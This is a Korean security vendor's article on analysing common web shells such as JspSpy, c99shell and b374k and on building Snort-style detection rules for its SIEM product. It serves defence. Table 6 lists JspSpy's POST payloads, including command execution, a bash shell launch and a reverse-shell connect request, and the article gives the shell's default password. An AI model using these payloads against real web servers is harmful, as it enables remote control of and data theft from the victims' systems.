보안정보

전문화된 보안 관련 자료, 보안 트렌드를 엿볼 수 있는
차세대 통합보안관리 기업 이글루코퍼레이션 보안정보입니다.

웹쉘 분석 및 탐지규칙 생성을 통한 SPiDER TM의 웹쉘 탐지 강화하기

2016.05.03

11,910

보안관제사업본부 보안분석팀 정일옥

 

1.  개요


이번달 SIEM Guide 에서는 웹사이트를 이용한 공격에서 빠질 수 없는 웹쉘탐지에 대해 알아보고자 한다.
우선 웹쉘을 이용한 공격 기법에 대해 알아보면 공격자는 웹쉘을 대상 서버에 업로드한 후 웹을 이용하여 시스템 명령어를 수행하므로 침입차단시스템의 영향을 받지 않고 서버를 제어할 수 있다. 웹쉘의 공격 유형은 웹페이지 소스코드 열람, 악성스크립트 (iframe 등) 삽입, 파일 업로드, 서버 및 데이터베이스 자료 유출 등의 다양한 공격이 가능하다. 최근 웹쉘은 탐지를 어렵게 하기 위해 웹쉘의 일부분만을 피해시스템에 업로드 하는 등 그 유형은 나날이 발전하고 있다.

 



[그림 1] 웹쉘을 이용한 공격기법

 

 

2.  웹쉘 분석 및 탐지 패턴 만들기


웹쉘을 탐지하고 대응하는 방법에는 여러 가지가 있다. 하지만, 그 어떤 방법을 사용하던 웹쉘에 대한 분석이 제대로 되어 있지 않으면 우회된 공격에 당하기 쉽고 새롭게 등장하는 웹쉘에 대해 대응하기 어렵다. 때문에 지금부터 웹쉘에 의한 침해사고를 조기에 탐지하고 피해를 최소화 하기 위해서 사용 빈도가 높은 웹쉘을 선정하여 분석하고, 웹쉘을 업로드할때와 업로드 후 실행할때 탐지할 수 있는 방안을 분석하여 이를 기반으로 한 탐지규칙을 만드는 것에 대해 알아보도록 하겠다.
이를 위해 그동안 이글루시큐리티에서 침해사고 및 보안관제를 통해 확보한  1,000여개의 웹쉘 중 사용빈도가 높은 20개의 웹쉘을 선정하여 상세 분석하였다.

 

 

 구분

 JSP

 PHP

 ASP/ASP.NET

 웹쉘

ㆍJspSpy
ㆍJspWebshell
ㆍjFolder
ㆍshack2
ㆍdevilzShell
ㆍJSP File Browser
ㆍjshell
ㆍJspWebshell​

ㆍb374k-shell
ㆍDAws
ㆍIron Shell
ㆍc99shell
ㆍFaTaLisTiCz_Fx
ㆍr57shell
ㆍphpFileManager
ㆍDAws​

ㆍASPyder
ㆍASPX Shell
ㆍASPXSpy
ㆍASPX Shell​

 합계

 웹쉘 8건/탐지규칙 16건

 웹쉘 8건/탐지규칙 17건

 웹쉘 4건/탐지규칙 7건

 

[표 1] 사용빈도가 높은 웹쉘 리스트


웹쉘을 분석한 결과 크게 2가지 유형에서 탐지패턴을 만들수가 있었다.


① 웹쉘을 웹서버에 업로드 할때 발생하는 패킷을 통해 탐지하는 방법
② 웹서버에 업로드 된 웹쉘을 실행할때 발생하는 패킷을 통해 탐지하는 방법

 

웹쉘을 업로드시 발생하는 탐지 규칙이다.


웹쉘을 업로드 할때는 암호화나 난독화  등이 이루어지기도 하지만, 많은 경우 웹쉘이 웹서버에서 실행되어지기 위한 함수를 이용하기 때문에 OS  명령어 실행함수, 코드실행 함수를 탐지하는 방법과 웹서버에서 실행할 수 있는 확장자를 탐지하는 방법을 사용할 수 있다.
사례로  PHP 웹쉘 업로드 시 나타나는 페이로드를 살펴보도록 하겠다.

 



[표 2] PHP 웹쉘업로드시 보이는 파일확장자 및 실행코드


위와 같이 PHP 웹쉘을 업로드시 패킷 상으로는 업로드 되는 파일이름+확장자와 실행코드가 보임을 알 수 있다. 이와 같이 패킷을 탐지하기 위해서는 L7 Layer의 보안장비(침입방지시스템, 웹방화벽 등)가 필요하다.
다음은 이를 탐지하기 위한 탐지 패턴이다. 

 



[표 3] 탐지 규칙


웹서버에 업로드 된 웹쉘을 실행시 발생하는 패킷을 통해 탐지하는 방법에 대해 알아보겠다.

 

이는 패킷 중에서 응답값을 통해서 탐지할 수 있는 방법인데, 보통 웹쉘의 특징이나 기능 분석을 통해 탐지할 수 있다.

다음은 JSP 언어를 사용하는 웹쉘중 자주 사용되는 Jspspy webshell 에 대한 분석이다.

 

 

 구분

 설명

 파일명

 jspspy.jsp

 크기

 142,414 bytes

 MD5

 e0354099bee243702eb11df8d0e046df

 TrID

 HyperText Markup Language (100.0%)

 


[표 4] jspSpy 파일 정보

 



[그림 2] jspSpy 웹쉘 실행 화면

 

 

 구분

 패스워드 인증

 OS 명령어 실행

 파일 관리

 파일 업로드/다운로드

 DB 관리

 백도어 연결

 비고

 기능 여부

 ○

 ○

 ○

 ○

 ○

 ○

 

 

 

 

ㆍ사용자 인증 (로그인 패스워드 : apple)
ㆍ원격 웹사이트에 파일 다운로드
ㆍ파일 관리 (복사, 이동, 변경, 삭제, 파일/디렉토리 생성)
ㆍ파일 업로드/ 다운로드
ㆍDB 관리(MySQL, Oracle, Sql Server, Access, Other(사용자지정))
ㆍ리버스쉘, PortMap
ㆍ명령어 실행
ㆍ포트 스캔
ㆍ원격 웹사이트에 파일 다운로드​

 

[표 5] jspSpy 웹쉘 기능

 

 

 기능

 페이로드

 로그아웃

 [POST] o=logout

 폴더 이동

 [POST] o=filelist&folder=%2F폴더명&outentry=none

 파일 관리

 [POST] o=vEdit&filepath=%2F경로명%2F파일명
 [POST] o=vCreateFile&filepath=파일명
 [POST] o=down&path=%2F다운파일명
 [POST] o=copy&src=%2F파일명&to=%2F파일명
 [POST] o=move&src=%2F파일명&to=%2F파일명
 [POST] o=pack&packedfile=%2F파일명&savefilename=파일명
 [POST] o=mkdir&name=%2F폴더명
 [POST] o=vCreateFile&filepath=파일명​

 DB 관리

 [POST] o=vConn
&url=jdbc%3A(DB주소)&uid=아이디&pwd=패스워드&db=DB정보&connect=Connect
&pwd=패스워드&db=DB정보&connect=Connect
 [POST] selectDb=1&o=dbc&driver=oracle.jdbc.driver.OracleDriver&url=jdbc%3A(DB주소)
&uid=아이디&pwd=패스워드&db=DB정보&connect=Connect
 [POST] selectDb=2&o=dbc&driver=com.microsoft.jdbc.sqlserver.SQLServerDriver
&url=jdbc%3A(DB주소)&uid=아이디&pwd=패스워드&db=DB정보&connect=Connect​

 명령어 실행

 [POST] o=vs
 [POST] o=shell&type=command&command=pwd&submit=Execute
 [POST] o=shell&type=command&command=pwd&submit=Execute​

 쉘 실행

 [POST] o=vso
 [POST] exe=%2Fbin%2Fbash&o=online&type=start

 리버스쉘

 [POST] o=vbc
 [POST] o=backConnect&ip=IP주소&port=1234&program=%2Fbin%2Fbash&FJE=Connect

 
[표 6] jspSpy 웹쉘 페이로드

 

 

 구분

 탐지 규칙

 HTML Title

 alert tcp $HTTP_SERVERS $HTTP_PORTS -> any any (msg:"WebShell - JspSpy - Title"; flow:established,to_client; content:"< title >JspSpy"; nocase;)

 File Browser

 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WebShell - JspSpy - File Browser"; flow:established,to_server; content:"o=filelist&folder="; content:"&outentry="; within:100;)

 Command Execute 

 alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WebShell - JspSpy - Command Execute"; flow:established,to_server; content:"o=shell&type=command&command=";)

 

 [표 7] jspSpy 웹쉘 탐지규칙



지금까지 설명된 것과 같이 웹쉘을 분석하고, 이에 맞는 탐지정책을 만들게 되면 웹서버에 공격이 성공하기 전에 사전에 탐지하거나, 공격 성공 후 위험성이 존재하는 명령을 실행할 때 탐지할 수 있으며, 정확도를 훨씬 높일 수 있다. 때문에 보안장비의 탐지패턴을 이용한 탐지는 매우 중요하다. 또한 네트워크를 이용한 공격은 다양한 우회기법을 쓰기 때문에  지속적으로 룰에 대한 관리가 필요하다.
다음은 이글루에서 제공하는 웹쉘 패턴 중 일부를 나타낸다. (이글루시큐리티에서 권고하는 웹쉘 패턴은 기본 60여 가지가 존재한다.)

 

# JSP
alert tcp $HTTP_SERVERS $HTTP_PORTS -> any any (msg:"WebShell - ASPXSpy - Title"; flow:established,to_client; content:"< title >|0D 0A 09|ASPXSpy"; nocase;)
alert tcp $HTTP_SERVERS $HTTP_PORTS -> any any (msg:"WebShell - JspSpy - Title"; flow:established,to_client; content:"< title >JspSpy"; nocase;)

# PHP
#
alert tcp $HTTP_SERVERS $HTTP_PORTS -> any any (msg:"WebShell - b374k - Title"; flow:established,to_client; content:"< title >b374k"; nocase;)

# ASP
#
alert tcp $HTTP_SERVERS $HTTP_PORTS -> any any (msg:"WebShell - ASPyder - Login Form"; flow:established,to_client; content:"< INPUT type=password name=code >"; content:"ASPSpyder"; within:200;)
#
# ASPX
#
alert tcp $HTTP_SERVERS $HTTP_PORTS -> any any (msg:"WebShell - ASPXSpy - Title"; flow:established,to_client; content:"< title >|0D 0A 09|ASPXSpy"; nocase;)​

 

[표 8] 웹쉘 탐지패턴 중 일부

 

3.  SPiDER TM 을 활용한 웹쉘 탐지 방안


SPiDER TM을 활용한 웹쉘 탐지 방안은 SPiDER TM 3.x, SPiDER TM 5.x 상관없이 가능하며, 이를 위해서는 별도의 모듈을 설치해야 한다.
(캡쳐에 사용된 프로그램은 SPiDER TM 3.x를 예시로 하였다.)

 

웹쉘을 탐지하는 방법은 크게 2가지로 나눌수 있다. 하나는 공격의 목적지가 되는 웹서버에서 탐지하는 방법과 경계보안을 담당하는 보안장비(웹방화벽, 침입방지시스템 등)를 통해 탐지하는 방법이다.

 

SPiDER TM 을 활용한 웹쉘탐지는 4가지 방법을 이용하고 있다.

 - 파일무결성 검사 : 특정 파일이나 디렉터리를 지정하여 파일 무결성 검사
 - 확장자 탐지 : 파일포멧, 파일 PE 헤더를 통해 변조된 확장자 감시
 - 패턴 탐지 : 웹쉘에 사용되는 명령어를 통해 웹쉘 패턴 탐지
 - 전수 조사 : 위의 3가지 방법에 대해 자동 또는 수동으로 전체를 검사하는 방법

 



[그림 3] SPiDER TM 웹쉘 탐지 방법

 


1) 파일무결성 검사 : 특정 파일이나 디렉터리를 지정하여 파일 무결성 검사


 웹사이트에서 업로드 기능을 제공할 때에는 파일을 저장할 업로드 폴더가 지정되어 있으며 공격자가 파라미터 변조를 통해 저장폴더를 바꿀 수 없는 한 웹쉘 역시 정해진 업로드 폴더에 저장이 된다. 이는 업로드 폴더만 잘 감시하더라도 웹쉘을 탐지 할 수 있는 것을 뜻하며. 웹쉘 업로드를 감시하기 위해선 우선적으로 SPiDER TM Agent의 수집조건 중 파일 무결성 기능(File Integrity)을 설정하여 탐지 할수 있다.

 



[그림 4] 시스템 무결성 경보설정 화면


경보설정 시 주의사항으로는 변경될 수 있는 “파일이름” 보다는 “확장자”에 대한 필터링을 적용하는 것이 바람직하다. 또한, 웹쉘에 대한 정확한 정책설정을 위해서는 해당 서버 환경에서 지원하는 특정 확장자를 가져야 하므로 경보설정 시 서버 환경을 확인해야 한다.

 

 

2) 확장자 탐지 : 파일포멧, 파일 PE 헤더를 통해 변조된 확장자 감시


업로드된 파일이 기 정의된 파일 확장자인지 확장자가 아닌 경우 검사하고 파일포멧이나 파일 헤더파일을 통해 이미지파일인지, 아니면 스크립트 언어(PHP, JSP, ASP 등)를 이용한 파일인지를 검사하여 웹쉘을 탐지한다.

 




[그림 5] 바이너리 파일을 .txt로 확장자 변조 후 웹서버에 업로드

 


3) 패턴 탐지 : 웹쉘에 사용되는 명령어를 통해 웹쉘 패턴 탐지


업로드된 파일에 대해 기 정의된 웹쉘 패턴을 통해 소스 검사를 실행하여 웹쉘인지 판단한다.

 

 

[그림 6] 미탐지 이벤트

 



[그림 7] 탐지 이벤트

 



[그림 8] PHP 테그안에 웹쉘 패턴과 일치하는 문자 매칭 시 탐지

 


4) 전수조사


외부에 공개되어 있는 웹서버에 대해서는 위에서 제시한 방법을 이용, 지속적인 검사가 필요합니다. 이에 검사 대상이 되는 웹서버의 특정 디렉토리에 웹쉘 존재 여부를 즉각 검사하거나 주기적으로 검사하도록 설정할 수 있다.

 



[그림 9] 전수검사 실행

 



[그림 10] 모니터링 화면

 

4.  결론


웹쉘을 이용한  공격은 아주 오래 전 웹서비스라는 영역이 생겨나면서 발생하였다. 초기에는 웹쉘이 관리적인 의미로도 사용되었지만, 어느 순간  악의적인 용도로 사용되면서 변질되지 않았나 한다. 웹쉘에 대한 공격을 방어하는 입장에서 보면 쉽게 탐지되는 공격 중 하나이다. 어떠한 웹쉘을 사용하더라도 보안장비에 이벤트가 발생할 가능성이 높으며, 웹서버에 파일이 생성되는 등 흔적을 남기는 명확한 공격 중 하나이기 때문이다. 

앞서 예시를 든 웹쉘에 대한 명확한 분석, 이를 통해 탐지된 탐지규칙, 이를 적용한 보안장비, 그리고 연동을 통한 경보설정을 통해 탐지를 수행하면, 웹쉘을 이용한 공격에 대해 탐지를 강화하고, 오탐등을 최소화 할 수 있을 것이다.